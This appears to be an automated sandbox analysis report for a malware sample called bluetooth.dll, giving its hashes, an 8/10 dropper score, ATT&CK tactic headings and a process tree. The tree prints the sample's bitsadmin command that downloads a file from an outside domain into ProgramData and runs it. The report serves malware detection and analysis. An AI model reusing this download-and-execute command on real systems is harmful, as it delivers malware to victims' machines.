d0ee008d3c480d5f9f75332851ae94373158c13541f3c88be63465b975334e0a

Analysis

max time kernel
148s
max time network
135s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 18:24

Target
bluetooth.dll
Size 42KB
Sample260910-w2bhbatglb
SHA256 d0ee008d3c480d5f9f75332851ae94373158c13541f3c88be63465b975334e0a
MD5 14b4e5a1385053ea0ad688f6d981844d
SHA1 a52074000948336c280572bd4b392deaa1c572ab
SHA512 d3769c6484ca1faec4834aca1d64a4d7f452e070db82e91515e70e00d33b917a7a623fdb96f4ac7ec2e51563f1310f7474b3c64d94c3a0d9ca108751472f3b1c
SSDEEP 768:rOa/FfGkc/kPJ2Efvq/u0mQfotNsvr6L1MePrGrWj1K5yhUudcd:rOatfGkq4qVfysvrM1MCISs
TLSH
T1CB133B0BFAA354FCC1D7D578429B96B1F832FC140121AD6E0AE4EE326E55D4077AFA09
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

dropper

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

pid	Process
4876	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2880	rundll32.exe
2880	rundll32.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2880 wrote to memory of 4876	2880	rundll32.exe	88
PID 2880 wrote to memory of 2356	2880	rundll32.exe	94

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bluetooth.dll,#1
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Windows\system32\bitsadmin.exe
  bitsadmin /transfer mydownloadjob /download /priority normal "http://ultraflavors.com/winocb.txt" "C:\ProgramData\winocb.txt"
  2⤵
  - Download via BitsAdmin
  PID:4876
- C:\ProgramData\winocb.txt
  C:\ProgramData\winocb.txt 0
  2⤵
  PID:2356

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

Privilege Escalation

Defense Evasion

BITS Jobs

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2880-0-0x00007FFAAE8B0000-0x00007FFAAE8C2000-memory.dmp

Download